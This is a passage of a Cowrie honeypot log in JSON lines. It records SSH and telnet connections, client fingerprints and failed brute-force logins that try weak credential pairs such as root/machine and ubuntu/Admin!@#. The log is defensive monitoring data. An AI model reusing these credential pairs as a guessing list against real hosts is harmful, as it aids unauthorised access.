{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:53.012484Z","src_ip":"159.203.92.129","session":"32880a6f1676","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"123456","message":"login attempt [administrador/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:53.022894Z","src_ip":"159.203.92.129","session":"32880a6f1676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:54.028637Z","src_ip":"159.203.92.129","session":"32880a6f1676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00179648399353,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:51:54.551433Z","src_ip":"45.23.213.116","session":"76514646823d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00204300880432,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:01.578308Z","src_ip":"45.23.213.116","session":"ba9f52688f26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00170469284058,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:08.413329Z","src_ip":"45.23.213.116","session":"87920da68d5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":20995,"dst_ip":"159.203.135.109","dst_port":22,"session":"5420dfd7c659","protocol":"ssh","message":"New connection: 125.166.19.90:20995 (159.203.135.109:22) [session: 5420dfd7c659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:29.318027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:29.322648Z","src_ip":"125.166.19.90","session":"5420dfd7c659","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:29.597956Z","src_ip":"125.166.19.90","session":"5420dfd7c659","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin!@#","message":"login attempt [ubuntu/Admin!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:30.730065Z","src_ip":"125.166.19.90","session":"5420dfd7c659","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:32.017133Z","src_ip":"125.166.19.90","session":"5420dfd7c659","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":59762,"dst_ip":"10.17.0.5","dst_port":22,"session":"c87cc9617050","protocol":"ssh","message":"New connection: 198.98.55.71:59762 (10.17.0.5:22) [session: c87cc9617050]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:37.837218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:37.842114Z","src_ip":"198.98.55.71","session":"c87cc9617050","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:37.848462Z","src_ip":"198.98.55.71","session":"c87cc9617050","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"QWERqwer1234","message":"login attempt [ubuntu/QWERqwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:37.902042Z","src_ip":"198.98.55.71","session":"c87cc9617050","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42982,"dst_ip":"159.203.135.109","dst_port":22,"session":"07fb29a2412e","protocol":"ssh","message":"New connection: 159.203.92.129:42982 (159.203.135.109:22) [session: 07fb29a2412e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:37.920775Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:37.925779Z","src_ip":"159.203.92.129","session":"07fb29a2412e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:37.930522Z","src_ip":"159.203.92.129","session":"07fb29a2412e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"administrador","message":"login attempt [administrador/administrador] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:37.943097Z","src_ip":"159.203.92.129","session":"07fb29a2412e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:38.910242Z","src_ip":"198.98.55.71","session":"c87cc9617050","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:38.949667Z","src_ip":"159.203.92.129","session":"07fb29a2412e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00094723701477,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:48.184464Z","src_ip":"45.23.213.116","session":"e8b29def9238","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0010187625885,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:48.188633Z","src_ip":"45.23.213.116","session":"b8735348add5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00183081626892,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:50.336605Z","src_ip":"45.23.213.116","session":"e5a49a14d21f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00067472457886,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:51.789129Z","src_ip":"45.23.213.116","session":"30e3e4ebab10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00157833099365,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:52:55.262713Z","src_ip":"45.23.213.116","session":"c41ad9bb068c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00179195404053,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:01.574445Z","src_ip":"45.23.213.116","session":"3d123ae56d37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.23.213.116","src_port":48892,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5a293e3b5cd","protocol":"telnet","message":"New connection: 45.23.213.116:48892 (159.203.135.109:23) [session: d5a293e3b5cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:01.794261Z"}
{"eventid":"cowrie.session.closed","duration":120.00184988975525,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:05.740773Z","src_ip":"45.23.213.116","session":"4180fbdb4ed0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0028007030487,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:05.747158Z","src_ip":"45.23.213.116","session":"949a92aaa121","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00143575668335,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:08.800532Z","src_ip":"45.23.213.116","session":"50e2e5c865d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00107455253601,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:12.897809Z","src_ip":"45.23.213.116","session":"b7f9818e2c36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54042,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f480fd31093","protocol":"ssh","message":"New connection: 159.203.92.129:54042 (159.203.135.109:22) [session: 6f480fd31093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:22.602718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:22.607608Z","src_ip":"159.203.92.129","session":"6f480fd31093","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:22.612622Z","src_ip":"159.203.92.129","session":"6f480fd31093","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"1","message":"login attempt [administrator/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:22.624715Z","src_ip":"159.203.92.129","session":"6f480fd31093","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:23.631086Z","src_ip":"159.203.92.129","session":"6f480fd31093","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.55.71","src_port":59030,"dst_ip":"10.17.0.5","dst_port":22,"session":"25409be6fefb","protocol":"ssh","message":"New connection: 198.98.55.71:59030 (10.17.0.5:22) [session: 25409be6fefb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:26.042013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:26.045658Z","src_ip":"198.98.55.71","session":"25409be6fefb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:26.053341Z","src_ip":"198.98.55.71","session":"25409be6fefb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"machine","message":"login attempt [root/machine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:26.106900Z","src_ip":"198.98.55.71","session":"25409be6fefb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:27.114468Z","src_ip":"198.98.55.71","session":"25409be6fefb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0011978149414,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:28.868207Z","src_ip":"45.23.213.116","session":"0c0efab99a14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00141525268555,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:53:33.920828Z","src_ip":"45.23.213.116","session":"2924ed865be6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35066,"dst_ip":"159.203.135.109","dst_port":22,"session":"7acfe4a044ca","protocol":"ssh","message":"New connection: 159.203.92.129:35066 (159.203.135.109:22) [session: 7acfe4a044ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:07.521849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T19:54:07.526948Z","src_ip":"159.203.92.129","session":"7acfe4a044ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-